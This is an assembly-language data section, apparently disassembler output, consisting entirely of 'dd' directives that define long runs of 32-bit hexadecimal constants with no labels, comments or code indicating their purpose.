		dd 0C77FA218h, 9AFECA2Ah, 2118FAEFh, 114C1339h,	0BB93CECAh
		dd 0D2BA162Eh, 2025EBCh, 1B29625Fh, 0C390AE76h,	1A8B2E0Eh
		dd 2C3A2AA4h, 680D39A4h, 31E03800h, 281B7640h, 0DB7F5E49h
		dd 0D26211D6h, 85C3EC7Fh, 0DBA08997h, 6D6F4113h, 0AAD8A3B0h
		dd 0FB481E7Ch, 0B16896B4h, 9B0B4D8h, 0A2B84C98h, 12506E9Ch
		dd 30DAB48Eh, 0D2D9962Ch, 0EA724674h, 0CD30DDEDh, 4C932091h
		dd 3DA9414Ch, 3C032001h, 267F2BDCh, 0E6457D55h,	1100879h
		dd 2ACD0BB8h, 71A0F8ECh, 45BB4195h, 0E0B5D55Eh,	0C77890EFh
		dd 92E71593h, 2523DE64h, 0A7DB8153h, 6AAEFD0Eh,	9AA881B1h
		dd 0E0C05684h, 0C98F6133h, 0BC830091h, 9D8FA35Ch, 0F248768Ch
		dd 9D6F41E5h, 913283BFh, 32A54E4Ah, 0B5E5B6B0h,	82B0F650h
		dd 3506D2BCh, 0E0C5E563h, 0DF8880DFh, 2FDB8AECh, 0EA302FFBh
		dd 0CCBF66BCh, 0BD2329FBh, 2AA5DD13h, 0A386694h, 426D2F81h
		dd 0A9C8C03Fh, 7F95B3A5h, 7B58B0AAh, 22F19FA8h,	2F174715h
		dd 20665FEh, 0B55CA253h, 0A4FBA889h, 0DECA6B64h, 22B82BACh
		dd 3798C6F4h, 0A9DFE3BDh, 54256B2h, 597A0B41h, 0D8E8E622h
		dd 0D2240E91h, 0DECB768Eh, 0E757D8E0h, 0AAEE1D64h, 77E76EB1h
		dd 3A5E8D96h, 829ADE28h, 0D092E509h, 124986C4h,	1805B6E4h
		dd 6B2E544Dh, 83DBB601h, 45CEE29h, 722CD304h, 57795C44h
		dd 0A0E5AF4h, 7434C2Bh,	9AC8F6CCh, 0F91636Ch, 2A6E9D2Dh
		dd 4EC45377h, 0C66B1672h, 0D3056A8h, 4A781F50h,	9A2C6F1Ch
		dd 8E083666h, 22517AC4h, 0F00D39F4h, 39E03807h,	0DEACDB78h
		dd 42709FC8h, 62B88C44h, 0D2002E58h, 1A1A24F2h,	0F40541BBh
		dd 99D8300Fh, 0F6B7C3B5h, 6B6896C5h, 0D3B2B45Dh, 0CA90273Eh
		dd 40006E9Ch, 61EA231Bh, 2746FE1Ah, 0BA433282h,	3364E6E8h
		dd 85FFD604h, 0C0D03AF8h, 9FC76694h, 52B6929Eh,	0EE08737Dh
		dd 0B204DD7Ah, 2A32523Fh, 24F79FAEh, 813283BBh,	87695EBAh
		dd 1CA8D314h, 0A9867BE3h, 8D853652h, 48072CE8h,	0FD159EB0h
		dd 0B2E00F38h, 90E8652Fh, 0E983C7DCh, 0DAE8B644h, 80507E0Ch
		dd 2122E35Bh, 0A611BEDAh, 0AAD8043Ch, 0FA043A83h, 65A033Bh
		dd 7DE3DE3Ah, 0FCC414C1h, 1682339Ch, 50B636E4h,	2996FF59h
		dd 0DC0D3EF9h, 0BF796DBCh, 4CB8D691h, 94211D4Ch, 0CABCB46Bh
		dd 539F26D3h, 1EC7F624h, 0E2103F7Ch, 5F62B834h,	4C2088ECh
		dd 0BB6C1944h, 82305E8Dh, 0BB0D86EAh, 0C2FE6F5Ah, 0AF4F782Dh
		dd 0E49FF5EEh, 41D7C7B2h, 0B28A5FF2h, 57B00D5h,	744CB459h
		dd 4B83BF14h, 0D2DFAB53h, 9FC576A4h, 62A6A07Dh,	0A6B0065Eh
		dd 0A2204E7Ch, 10FD6997h, 0BFB0E830h, 0CAF82658h, 12FFEB93h
		dd 0EB61B6E4h, 23D0FE2Ch, 0A34A164Ah, 97E581EAh, 0F9A8D604h
		dd 0FE5C168Ah, 93BC6999h, 6E80AEDCh, 363B8304h,	671F0450h
		dd 2A588638h, 5280C351h, 9BD53664h, 77443BEBh, 6A440AABh
		dd 0EC419269h, 0AE60169Bh, 0A3210BD8h, 50E8C58Ah, 0DA952113h
		dd 0FAD71142h, 52CAAFC3h, 7DB8E633h, 47FF7CBEh,	1A7E4D6Eh
		dd 32C07EDFh, 0A3305664h, 0B6204E7Ch, 5606E1ABh, 82D4BF63h
		dd 0F6C2B3ABh, 0D2C56EAAh, 93BB8090h, 9EB47BA5h, 82494642h
		dd 0B2608CBCh, 2AFE8755h, 0FECE8BB3h, 9FB566A2h, 52B6B54Fh
		dd 0CE01C574h, 0B3426E3Dh, 58CD79E5h, 0F5A0F8C7h, 2F173240h
		dd 20665CAh, 0C7F8652Ch, 92F6FB77h, 0B0CBCF65h,	0DD5114ADh
		dd 6EEB39C7h, 0F601BC3h, 0FA1E168Ch, 0C72EEACDh, 0B9E292D4h
		dd 61D0A587h, 261875AFh, 7F270B61h, 10530602h, 0F2204F70h
		dd 3B601C4Fh, 7AB3DE0Ch, 4198ED7Fh, 73E69D57h, 0B8CFB390h
		dd 21FE15D9h, 614B49B3h, 0E6EBD970h, 3AC28254h,	3D9A4C1Dh
		dd 363EF36Bh, 0DF0BAEEAh, 9AFECD5Eh, 0C91CFAEFh, 2DB1057Bh
		dd 72CAC93Bh, 0F56116ACh, 4D639D8Fh, 0B2FF292h,	0DF9CAB4Eh
		dd 0B57A550Dh, 563611DFh, 4F191A8h, 0C1976158h,	885D15D8h
		dd 361EFBBEh, 0F9CA8342h, 8E6E4135h, 76380EE1h,	10F5CC83h
		dd 0D8B95234h, 0BA542B1Bh, 3A1CE5ABh, 0D2B0DE0Eh, 0CAF82654h
		dd 76231CF5h, 3FE1CCCAh, 0CEA0D04Ah, 0A9510874h, 550EAEF7h
		dd 0FD1A37Dh, 97FA6A29h, 2A6A23C7h, 1BCFE4B6h, 0ECEED66Ah
		dd 97644C05h, 2AB0D3BEh, 2FA0CEFCh, 0A44BFBC5h,	87F65EBAh
		dd 4A4EB3BFh, 0C55111Ch, 1B08005Fh, 1E246144h, 0DF13D89Eh
		dd 0B2D6356Ah, 0D414FADDh, 0C316B4B9h, 0FFA5192Ah, 88BDA37Fh
		dd 91484098h, 0C7C7BC9Ah, 2F55A352h, 0F21679ADh, 0D9F134Bh
		dd 0B4ADE3Ah, 8474DC12h, 13F19562h, 3B637906h, 5D2BE1C4h
		dd 0CE64C58Bh, 67158AB4h, 3AA053C2h, 2AF01E7Ah,	0A38669Ch
		dd 7CC3E88Fh, 9A84BA60h, 0D9BAAB93h, 0EA538682h, 1833D988h
		dd 2F174546h, 20665DEh,	420C6651h, 0D2C86BE2h, 0AF73652h
		dd 0DCD4963Fh, 6170390Bh, 0E1E00E3Ch, 0B57715C2h, 0E34B09Fh
		dd 1F47E658h, 0D23615F6h, 0E5B61F4Ch, 977E5613h, 2727F9CBh
		dd 0F2165CADh, 0BFE55FF7h, 82869E08h, 9BA97705h, 43113FCCh
		dd 612E231Bh, 0A938FE1Ah, 0BF184674h, 132CBEFh,	36ECF836h
		dd 570F1E00h, 0A0E5D3Eh, 5280A434h, 0EABB8124h,	967E571Eh
		dd 7A58C7D2h, 49F25B03h, 3F611672h, 20665D6h, 0C7F597DBh
		dd 92F6F76Dh, 0E668B3EDh, 0DD017E9Ah, 5CA36C61h, 0B6889D3Ch
		dd 77285684h, 7469E079h, 3735BF14h, 0D236121Ah,	0E5BDD94Ch
		dd 0E757D813h, 0AAEE185Eh, 57A31E7Ch, 3A5E88A8h, 0A825530Ch
		dd 9AF8104Ah, 784104C8h, 58E0E4E4h, 5D50FE2Ch, 0DC240CE1h
		dd 68A00BBCh, 0F725F471h, 0C2C60011h, 873E0CC6h, 649EC469h
		dd 0CA9EA224h, 1D426F3Ch, 1C64C821h, 0E75F96FCh, 0BADE2A02h
		dd 3C57DB4Ah, 0A278A6E2h, 92C0EE10h, 99476533h,	0C624DE7h
		dd 6AD48AB0h, 894A9BC3h, 92BB56B2h, 42709ECBh, 926D5399h
		dd 5F592E6Ah, 2C746019h, 97BA56ECh, 0A630F9CBh,	0A5204E7Ch
		dd 7421D88Dh, 0C69E8A49h, 35F86A18h, 247BC409h,	554833E4h
		dd 0A2D2CBA8h, 0EF70D574h, 0BF608EBCh, 4CB1C5B1h, 7F7D474Ch
		dd 0A0E5AA6h, 0AD745D34h, 0AC7575DBh, 0E2100850h, 284802BBh
		dd 9E21CEFCh, 0BAE817D4h, 33136D8h, 0DF87A6D4h,	92F6D20Ah
		dd 0DB98F2E5h, 0A9007EACh, 3898AC20h, 8ED69BC3h, 3AAD56B2h
		dd 2A7DEB95h, 8AB8F59Ch, 0E9CABBA3h, 0F8A37692h, 7CFC036Fh
		dd 0DFD80602h, 82A5C355h, 6A68A0DAh, 0BE924BF3h, 0A7D2662h
		dd 13C9EA93h, 1A03B6E4h, 5DD07520h, 869DC944h, 0F460B8A2h
		dd 4C96B181h, 0C29A1F4Ch, 85267FEh, 6EAE3B23h, 624BF612h
		dd 82943193h, 0B95886B5h, 6CC85B71h, 0AA821672h, 97CF0DDEh
		dd 4A4E9ACAh, 17CF2E99h
		dd 0DA083724h, 3CD2C321h, 6229C6C2h, 4D1A27D4h,	0FABC3E7Bh
		dd 692E9ECCh, 0AE8C6FF2h, 7095D108h, 9748409Fh,	548E2E51h
		dd 42D9B734h, 0DDFB476h, 24150349h, 82DADE3Ah, 0CAF8323Ch
		dd 0ED133C9Ch, 6CB49C71h, 8694732Ch, 0EE8DCB60h, 6260B8FCh
		dd 0F1A2600Bh, 3E43A08h, 403A6E74h, 50CABCDDh, 91CBBC36h
		dd 62181A28h, 0CA998955h, 36AB9FF4h, 88170660h,	6A8DD3DCh
		dd 0A27890E8h, 92C0EE00h, 0A23E1841h, 0C70508Ch, 4FBDFCD4h
		dd 0CAD82019h, 0DF082EA1h, 0D3A94BFh, 8A98A85Dh, 8895D10Bh
		dd 9B48409Fh, 62901228h, 0FAD86C34h, 67DF1D2Bh,	3A5EAAEEh
		dd 97345387h, 0CA922662h, 0DB2B757Fh, 5F60E7E9h, 84D0FE2Ch
		dd 0EA122251h, 68F571EBh, 0F9A8E03Fh, 29A01288h, 0A3F0E9Fh
		dd 0EF0DAEDCh, 9AFEE8B2h, 77EF6D3Bh, 2A6EBA9Eh,	26DE0E79h
		dd 8680A3C9h, 0A7B35EBAh, 4A4EB350h, 0F54D631Ch, 0F108005Ah
		dd 73501462h, 0FF6795A2h, 0B2D6321Ah, 8428AE07h, 0BCFB0FE3h
		dd 0B6D05399h, 0DFB02E6Ah, 0A3DD856h, 9887568Ch, 0D8B9F9CBh
		dd 7F29AD6Bh, 0D08397B3h, 4C9B1187h, 0F6909BD9h, 0B6B36EAAh
		dd 0E3634163h, 0B845017Fh, 6A187048h, 475E501h,	50DCD704h
		dd 0C2852E24h, 0C0AD9994h, 0D28098E7h, 0ACF69199h, 0F3643E6Ch
		dd 34340373h, 72A0CECAh, 3F2E1644h, 20660EBh, 0B4704FD4h
		dd 170711E3h, 0DA3E2310h, 0A2507EACh, 6A9C04A9h, 92AF0431h
		dd 944739EAh, 6216F1ECh, 0EFDE8F78h, 0F24F0E7Dh, 7F251FD0h
		dd 42FFCACCh, 0CFB46357h, 86413C1Eh, 3065B7A1h,	0A290FE2Ch
		dd 0B9D86974h, 772D03E9h, 3BEF9696h, 0CCB59A5Eh, 0B8124B55h
		dd 5C05E2D9h, 9CDBA70h,	0E289723Fh, 7A4807FCh, 3CE18EA5h
		dd 0E2ADD640h, 96735B1Ch, 62CE8D5h, 13D4BDDCh, 0D481722Ah
		dd 2F1064EBh, 2B2FACD9h, 0FBA88D68h, 0BB28510Ah, 467012C0h
		dd 0BB8BF95h, 0DCC06A52h, 8E4031EDh, 2D16BEE0h,	0F8DEC666h
		dd 0B66E4B35h, 3A0156D7h, 16F9DF9Bh, 0FDD20B0Eh, 97522B14h
		dd 5F1AF7E4h, 0F7DFA72Ch, 0B89E0678h, 762E0BF5h, 19A88997h
		dd 83B59343h, 0CA6C0F54h, 4640FDD5h, 5BCDBB6Dh,	0E584576Ch
		dd 6B5446E7h, 56A1CBA8h, 99F831A0h, 4A5FEA16h, 3142415h
		dd 0DDB068E8h, 0ED88783Bh, 920AF5D5h, 0F249EDF5h, 1742D5FCh
		dd 0DA6FEE6Fh, 7E98E160h, 385AAA38h, 6238B68Fh,	0DA9174E0h
		dd 426EFD8Fh, 8AB8E614h, 0D2002E5Ch, 1A4876A4h,	6290BEECh
		dd 0AAD80634h, 0F2204E7Ch, 3A6896C4h, 82B0DE0Ch, 0CAF82654h
		dd 12406E9Ch, 5A88B6E4h, 0A2D0FE2Ch, 0EA184674h, 32608EBCh
		dd 7AA8D604h, 0C2F01E4Ch, 0A386694h, 3280AEDCh,	0A51C53A7h
		dd 61103E5Ah, 1C675E11h, 0C5AFCEFCh, 0E9650207h, 49875194h
		dd 0C1A8A5D2h, 0B9E4CA58h, 0C37A3A26h, 51583C97h, 7EDA4DE0h
		dd 3BEC4C17h, 0CC178211h, 9AF517CCh, 61B8D02Bh,	0FAC2AD59h
		dd 0D829AF46h, 0E718BEE8h, 0AAEE2252h, 0F2202A94h, 3A48FEC4h
		dd 73DDE0Ch, 0CACE05C7h, 665857C5h, 5E4835E8h, 272F09CEh
		dd 0EA2E79C0h, 31B9797Fh, 4C8CB089h, 3DE0FD4Ch,	0AB79AE4h
		dd 0B084465Fh, 9557FD2h, 6110084Fh, 2F2C868Eh, 0A3FCD7h
		dd 46A69B54h, 816E05D4h, 4E0CA6EEh, 912BDCE3h, 3218449Bh
		dd 0DDAF81FBh, 0E7B308DFh, 0B2D631E4h, 0CE6355DCh, 0FAF5110Fh
		dd 4DB8D02Bh, 0E43F9AD9h, 1A4876A4h, 62AC56ECh,	2F530634h
		dd 0F21671C8h, 0C59E002Ch, 82A836F3h, 777B2654h, 12765128h
		dd 0D380C3E4h, 94F4F1B1h, 1584AD74h, 45F3A31h, 0FF271504h
		dd 0C2C621F4h, 358CF31Dh, 5168AEEAh, 0A9C8F624h, 719BFDA5h
		dd 2A588634h, 8C4D26AEh, 2FEBE9BBh, 2066154h, 30FB70D7h
		dd 16CFEE10h, 0DA083763h, 2240042Fh, 6A6542FBh,	0F06B0E3Ch
		dd 32C00688h, 418F6132h, 0BC873E91h, 82C62D5Ch,	0E3C87E2Eh
		dd 0E289CAECh, 0A9AC28CDh, 79D1A53Ch, 0DBE9978Ch, 5D6F01D3h
		dd 86BCDFD5h, 0FE356ED0h, 0D9409DBDh, 2DDF04D5h, 0EA1846C3h
		dd 0CC180FDAh, 0FFA7E437h, 0C2F01EE7h, 0A02E5C2h, 180BABA9h
		dd 11CA1D34h, 0B3E13D66h, 0D5A6F45Ch, 0AA15CD03h, 17E8207Bh
		dd 0F9489E09h, 4AFC22DBh, 273FEE1Ch, 0DA3E09BCh, 0DC0596FCh
		dd 0EF9B390Bh, 0B2D631E4h, 0C5F0D30Bh, 46739EFAh, 4A3BB530h
		dd 0DDDB1D5Eh, 8AB7E12h, 31B0776Ch, 0AEFC22F5h,	0DB045255h
		dd 7A33B2C8h, 793137E7h, 1743F15Bh, 0E9C150E8h,	81E6F34Ch
		dd 5951C858h, 15B97D2Dh, 0C9E1A0C8h, 0D61DF4D2h, 39713838h
		dd 0F9608F07h, 0A901B0A8h, 69901F59h, 19912818h, 0CB7DB9F2h
		dd 8921C088h, 5BCD2974h, 97CF58F8h, 4A4E996Ch, 6DB10747h
		dd 5956C99Bh, 0CDB96A6Eh, 0A967390Ah, 0EAE4643Dh, 5DD606Ch
		dd 2E51633h, 0ECB8D032h, 0D0181FE4h, 19ACB646h,	0C9F65CEEh
		dd 4280005Eh, 0DDFBB67h, 0BD605447h, 0DAB5B4DDh, 350D28BCh
		dd 11BAEE63h, 0A38BD97h, 84907B2Eh, 1B24642h, 6A08E49Bh
		dd 795256AEh, 0D3400639h, 0F5CC887Ch, 52811623h, 484CF624h
		dd 2C13318h, 0DCB34C4Ah, 7218CB17h, 11681644h, 8FF3E16Eh
		dd 7C401641h, 6517C51Ch, 5FFFF5BEh, 22664609h, 6298C6F4h
		dd 73209B33h, 7FDE5D64h, 4246A66Fh, 0ECBE9315h,	3925A751h
		dd 0B9CD80B7h, 609088D4h, 0A7BE0041h, 0F6CB6B4Dh, 1F699BA2h
		dd 3E58756Ah, 4107D9ABh, 87C95ADFh, 5ABE8928h, 27273D87h
		dd 0EA2E7ED1h, 3A608EBCh, 7E68430Bh, 5E18B4F0h,	83C7996Bh
		dd 64BF7E49h, 394D0024h, 0E3100854h, 1B5782C1h,	0B28BCC17h
		dd 3F1FD5EFh, 2066629h,	4278A6D4h, 174AC968h, 0DA3E0EFBh
		dd 445B9E6Dh, 0CDD4DF9h, 1818BE97h, 0C2B7D30Eh,	0A2B19EFAh
		dd 0EEDFE30Fh, 0E1AB28D5h, 0F1E31064h, 0EDF406FEh, 20730631h
		dd 0C418D1F9h, 0FB3092C4h, 411BC6ECh, 0EA13DAE4h, 12ABD6FAh
		dd 43631D82h, 4A88FA46h, 15E7B58Bh, 0F3B28A31h,	7FCEDEE4h
		dd 6996DEC5h, 9A88657Fh, 0A82C476h, 653B10CCh, 96C2BA93h
		dd 7250EC86h, 8D531414h, 0C822E8BBh, 0FCF52A4Fh, 0B4B1D21Eh
		dd 6C1B9AD6h, 240442AEh, 0DC5C0A66h, 0DA94B23Eh, 22DE5C5h
		dd 4AE1BD79h, 0F2B57539h, 49790DECh, 0EAB093D1h, 9FBF7692h
		dd 62A68649h, 2AD80634h, 92904D08h, 9FED616Eh, 82B0E834h
		dd 0BEF02654h, 9915D69Bh, 1523B608h, 9A757BDBh,	0EA1B4642h
		dd 0B66F8FBCh, 7AA8D6D3h, 695AF6FCh, 3584DB1Dh,	0BA30AEEAh
		dd 27415D8Eh, 0E22601ACh, 12FD0343h, 72A3CECAh,	0AF9C1644h
		dd 3A95DB7Bh, 4A78A6E2h, 97B4EF1Ch, 25F6F78Ch, 88B9CE53h
		dd 0D61D4D5Fh, 39E03803h, 73E07D4Bh, 744F5A71h,	76F06F14h
		dd 2D6449E4h, 0DA7BDD92h, 0E767158Ah, 0AAEE3E91h, 0F2204E7Fh
		dd 0BF9E98B0h, 8286E6AFh, 22FD52D4h, 0EDBF90DEh, 0D3ECD15Ch
		dd 62E3550Ah, 6FEFED12h, 3256B619h, 7AA8D607h, 47064B38h
		dd 0A0E5E37h, 0BA85DB5Ch, 6537083Ah, 1DED9A84h,	0C278364Bh
		dd 8D5F354Ah, 28E2FA7h,	0A9564B73h, 0DFF30D45h,	92F6D6B9h
		dd 18FFE493h, 22507EAFh, 1470D281h, 21FF1C1h, 1B8BE9Bh
		dd 0FA166133h, 21DEF3EBh, 1D8B85CDh, 258CF32Fh,	0AABBBEDAh
		dd 5D244EBDh, 0C418EBF9h, 3A6895C4h, 759EAA0Ch,	0FCC083D1h
		dd 12406E9Ch, 0ADAAC2E2h, 94E85BA9h, 0EA184674h, 0DA65FBBDh
		dd 85572BF6h, 0FA559BBBh, 0A3866A2h, 57F4AADCh,	6536FBCCh
		dd 4795C993h, 2E58B08Ch, 6A0CEFCh, 448FFE53h, 2B88A173h
		dd 0E1B05814h, 0E600E6A4h
		dd 0AFB09D60h, 89379554h, 523D4303h, 0B2E80E0Ah, 0B55D5684h
		dd 7AD3234Ch, 0FEB8E622h, 2C3BC61Ah, 33F0895Bh,	685997F4h
		dd 9CE09991h, 0F1C48E7Ch, 2F733CEh, 321BDE3Ah, 4F728CE5h
		dd 1276563Fh, 50C8064Eh, 94E861A9h, 527EEC74h, 0B797735Eh
		dd 7A9EEEA1h, 0C2F01E5Ch, 438861E0h, 2738C876h,	2A6390D8h
		dd 22239484h, 82E50F1Fh, 85A0F8C3h, 8CD0B3C1h, 2307E8Ch
		dd 0FA71D3D4h, 0F45E444h, 7008005Ch, 0E2D1C6CAh, 523D4303h
		dd 0B2A00E0Ah, 0F95C5684h, 48585A4Ch, 0BC807BB1h, 5BAB485Ch
		dd 2C77DA19h, 0E76715ECh, 0AAEE3E91h, 0B2204E7Ch, 6AD89FB1h
		dd 0BA2D5B0Eh, 3D522662h, 2478CB19h, 5A8836E4h,	12DB8B2Ch
		dd 749D4CCCh, 9860B884h, 0C2CEEBEFh, 4707067Dh,	0A0E5E31h
		dd 5280AFDCh, 0B378F450h, 0DA8E9B66h, 0CE988682h, 0EC05C4FFh
		dd 0DCE8207Ch, 83883827h, 0EFFD5124h, 92C0D824h, 0AF083666h
		dd 2898CAAEh, 5CA05851h, 3B4B683Ch, 0CC179E39h,	6AC026CCh
		dd 7D13E614h, 0E4388BD9h, 1A487EA4h, 8AE1CAECh,	5527FB05h
		dd 0CA85CB8Bh, 3E6896F2h, 89C5DE0Ch, 4FF29EE4h,	12765603h
		dd 0ADC55D4Eh, 94E85BA9h, 0EA104674h, 5471FBBCh, 704855BCh
		dd 0F4C881E9h, 39930094h, 476B041Ch, 82E14E42h,	0DA8F9B66h
		dd 0CE988682h, 0ED05C4FFh, 0DCE8207Ch, 0A7B5A927h, 4A7890ECh
		dd 0F4C0EE0Ch, 0AEC8B7DCh, 2A94FEAFh, 520763FEh, 19860E0Ah
		dd 59ADE08Bh, 0E970A8F4h, 754426FCh, 7785D9A3h,	1A48409Ch
		dd 16D0BEECh, 0A888B63Dh, 0C418D3F9h, 0BF9F3CC4h, 8286E6A9h
		dd 0CAF80654h, 1035E82Ch, 1505B2E0h, 3F7574D2h,	6318704Ch
		dd 45F3E31h, 0FA03B004h, 0C5851BB0h, 45B86624h,	0BA2AEE23h
		dd 65370A5Dh, 0DAB5BB9Bh, 6A588682h, 0CAC6CEFCh, 0B89D2722h
		dd 0A9567738h, 0CF72BE64h, 92F6D683h, 700BD6A4h, 0DDAC2A44h
		dd 9D10760Bh, 84D8ABB9h, 0FAA85684h, 0F272EBCCh, 171D6C92h
		dd 0B4001864h, 1FB4F60Fh, 6220B999h, 0EA2749B4h, 0E0BA6D6h
		dd 0BF9F693Bh, 8286E6A9h, 0CAF92654h, 52F065E9h, 621533EEh
		dd 497AFE1Ah, 69A0207Bh, 0AFC5847Ch, 1CA8E03Ch,	68F1AEE7h
		dd 329DE363h, 5280AEEAh, 0B5BDF626h, 0DAB5BB9Bh, 2A588682h
		dd 68D5CEF8h, 3FE2D6F4h, 2066613h, 72DC035Eh, 7201EE2Ah
		dd 0BCB05074h, 22E0D52Dh, 2A28CE1Fh, 8A7F8B36h,	0D8256B2h
		dd 74483B49h, 82B8E614h, 0B4105B5Ch, 10A0F51Ch,	54A82049h
		dd 1A736034h, 4228A57Dh, 0A4ED9C8Ch, 28B0E834h,	0F25DA3A3h
		dd 12406EAAh, 2F39B6F4h, 1AB6DB59h, 4F12BEF7h, 3256B622h
		dd 0BA9B7D62h, 724D37E6h, 0FD3850ABh, 64B80B59h, 0BAC8F624h
		dd 530F4B6Ch, 4C436DC3h, 78B8C744h, 8CD088E1h, 1D49E8Ch
		dd 72E603DEh, 39A6EE2Ah, 0E5B88B4Dh, 0E3DA7E9Ah, 5528637Eh
		dd 19860E0Ah, 7F2A0E34h, 4246A651h, 2F3D11BEh, 0D1001864h
		dd 6E4976A4h, 0C71549CEh, 0AAD8300Ch, 87244E7Ch, 9FED61D2h
		dd 82B0E834h, 0BFFB2654h, 0E8C48699h, 0F160491Bh, 552F01D6h
		dd 0DC20E3F1h, 32608EBCh, 0CAABA20Ch, 4707B485h, 0A0E5E31h
		dd 0D280AEDCh, 9D78D650h, 0DA8DBB46h, 0CA998682h, 7A29C3E6h
		dd 1FEA1660h, 2066611h,	0CA7B4214h, 226BEAD8h, 626E9C05h
		dd 875A9E53h, 6AAEFE69h, 3717A55Ah, 0FA1E6E21h,	42709EECh
		dd 0F4FB560h, 0D23616F9h, 3A4876A4h, 0A567B398h, 0AAD80637h
		dd 62904B08h, 0B19B7D6Eh, 2A3D55CBh, 0E1F8106Bh, 0EE01E75Dh
		dd 0DF82EE54h, 0A2E6C6B1h, 4F9DB1DEh, 3260B884h, 0EA89604h
		dd 92487840h, 97BD6C57h, 0B98098E4h, 6570902Eh,	7FB5348Ch
		dd 4C58B08Ch, 0D7253957h, 0B9E8207Ch, 76315E8Ch, 0EFFD51A7h
		dd 92C0D824h, 0AE283664h, 219789A1h, 1E98C6F4h,	1870BE39h
		dd 35A3A56Fh, 7DB01B47h, 4293E622h, 0E1FC66D5h,	0BFCD816Dh
		dd 629088D4h, 0DFD88634h, 6FA5C372h, 0B068A0FCh, 7B309E04h
		dd 47005557h, 3604A398h, 0BA49B6F4h, 95B4E24h, 527E4097h
		dd 99064E8Dh, 0FA276E62h, 0C2F0A624h, 6CD96494h, 0D72BF677h
		dd 0FCCE83EDh, 84D00FD4h, 809B361Fh, 4A104B71h,	3F1F1672h
		dd 2066629h, 5A78A6D4h,	0B997E869h, 0C3E36E9Ch,	9782D27h
		dd 0E148ED0Ch, 84DFC6B1h, 52BD5784h, 4370A8F3h,	0AEFC6D2Dh
		dd 0B5BDA758h, 914840B4h, 54AF1251h, 25D2D34h, 5207843h
		dd 0C503341h, 82B09E0Ch, 3DFA5254h, 1682C544h, 0D9DFE0E4h
		dd 94EF1E91h, 6E174674h, 32608F65h, 7AA8DBECh, 90B5554Ch
		dd 397423DAh, 1EC480EEh, 0F37F668h, 0E22605FEh,	15AC033Dh
		dd 0F9F3CECAh, 62EB2A1Ch, 89182D73h, 0AA909297h, 193F11E9h
		dd 0EC37E2F1h, 605325ACh, 921D4FF8h, 0B1E03803h, 7FA15EC6h
		dd 4246A130h, 7590959Fh, 0D200AEEFh, 0EFF19EA4h, 0DF1B4113h
		dd 0AAEE39E0h, 78DA62Ah, 0AFE3693Bh, 8286E1D8h,	0C9F06CDFh
		dd 0DC6B62D6h, 558D5F67h, 0A2D19EA4h, 0B09C4974h, 31608EBDh
		dd 4C970EB1h, 5A451D4Ch, 0A63850ABh, 0D78F46E0h, 9AC8F686h
		dd 0C91478E1h, 1C671E31h, 22A6CDFCh, 451D7CACh,	0D68DDD73h
		dd 4A7890EBh, 0D5FBE569h, 0C18B3968h, 0C9507EADh, 0BE0DFFF8h
		dd 0BDE03803h, 0FA295B01h, 0DAF59DCCh, 0ECB8D02Bh, 0F7FF16DDh
		dd 1AB4F3ABh, 221BBEECh, 9E9B2D36h, 70DA62Ch, 8751693Bh
		dd 8286E1D8h, 0CA1CA35Bh, 97436E9Ch, 5ABE893Ch,	9D487B2Fh
		dd 0EA934642h, 3D6CC997h, 7AA81B86h, 0CAB7254Ch, 0AFCE59Bh
		dd 9203AEDCh, 8E8FF526h, 0DD88BB6Fh, 7A0A8682h,	4D547B03h
		dd 2F171672h, 20665DEh,	45B8238Eh, 92C05999h, 0DA94DF64h
		dd 0DD6C7EACh, 6A0C43FBh, 8C600E3Ch, 71AD5991h,	0C9709ECCh
		dd 0C993E752h, 6EE87E68h, 23B78950h, 54AF6A51h,	0A9AF7334h
		dd 0C41F96F9h, 0A2ED95C4h, 0BB0E833h, 0FCB826D1h, 2940E59Ch
		dd 6CB74E61h, 99D88C2Ch, 0DC27BAF1h, 0F09FCBCh,	0AA8D604h
		dd 0DD18293Eh, 87386694h, 930B5292h, 0D8CBF40Fh, 0E295057Ch
		dd 5F58B0F4h, 62644DF0h, 0FE6727BBh, 0E95142A8h, 0CFF765CFh
		dd 92F6D1A4h, 42BDBD04h, 0CA504893h, 956733AEh,	0B2E0A75Dh
		dd 0F45DD684h, 307CD9E7h, 82FFDD1Dh, 2D3CAC53h,	1501895Bh
		dd 9D6E0C69h, 8EE48DCBh, 0DA85E9FDh, 0C59796C4h, 0C05BA1F3h
		dd 0AADC6CD5h, 5CA06E9Ch, 560376D7h, 42557908h,	6318704Bh
		dd 45F5239h, 0D3115B04h, 0C1F01E64h, 3C07FE11h,	0F725C8DCh
		dd 990EDD6Ah, 0A03B2A2Eh, 0D11E40B8h, 20210914h, 0BFE81644h
		dd 8B305E8Ch, 14275A92h, 73FB9DFh, 0DA3E0DFAh, 2D4F966Dh
		dd 6A99DC71h, 0D8B45E3Ch, 5D73CACh, 744B6059h, 0D5786314h
		dd 0D305A653h, 5AA076A4h, 8A6F4109h, 0AAD80625h, 0B4542B2Fh
		dd 690DFAADh, 0F0C5BD69h, 8B81523Dh, 7EF5919Ch,	0A58880DBh
		dd 94EBACB9h, 9E9DCF74h, 0DA60B883h, 7AA8D61Dh,	0A3A47B1Fh
		dd 7D7703FFh, 21F2CBB2h, 0CAB89F4Ch, 8B66571Eh,	4F3FE3D8h
		dd 634899FCh, 5217E9ADh, 2305E9Fh, 2F2AC387h, 0E0AF9A6Fh
		dd 0B37A6601h, 473C17DAh, 3D98A393h, 4D08FDD4h,	0FA3ABE7Bh
		dd 27239ECCh, 0E1DB8756h, 0A0505E29h, 762100CDh, 62F5D989h
		dd 420EEE63h, 0EAC8B183h, 696896C4h, 0E3D89D69h, 849D413Ah
		dd 74291AF3h, 33FAE69Dh, 0C7BC975Ah, 0BD182313h, 0CD883D54h
		dd 0F7FC86FBh, 0F4CAAEC9h, 5A5C0C94h, 0ADD7AFB6h, 0ACF4FCB1h
		dd 0C62CB76Ch, 111E134Bh, 0B28ACECAh, 8480ABC9h, 52605EBAh
		dd 0FACD5984h, 0FAC0D826h
		dd 0DA0C3665h, 755114F8h, 55EC530Bh, 0D8B40E0Ah, 6FD70180h
		dd 4246A1B8h, 75AC2297h, 0E43F42E9h, 98DD89A4h,	3D9088D7h
		dd 0C26D8BF7h, 0A4207842h, 1EE033Bh, 7A33DE3Ah,	717C29ABh
		dd 9B406E9Ch, 6CB7CE61h, 0F4D0942Ch, 0D1DAD38Bh, 0F2E58E8Ah
		dd 7A0C520Bh, 2DB1E4Ch,	95236C4h, 3A81C48Ch, 5AC8F624h
		dd 8085C13Ah, 0A958B08Fh, 0F6AF3104h, 0BAE813ACh, 3D4CDB05h
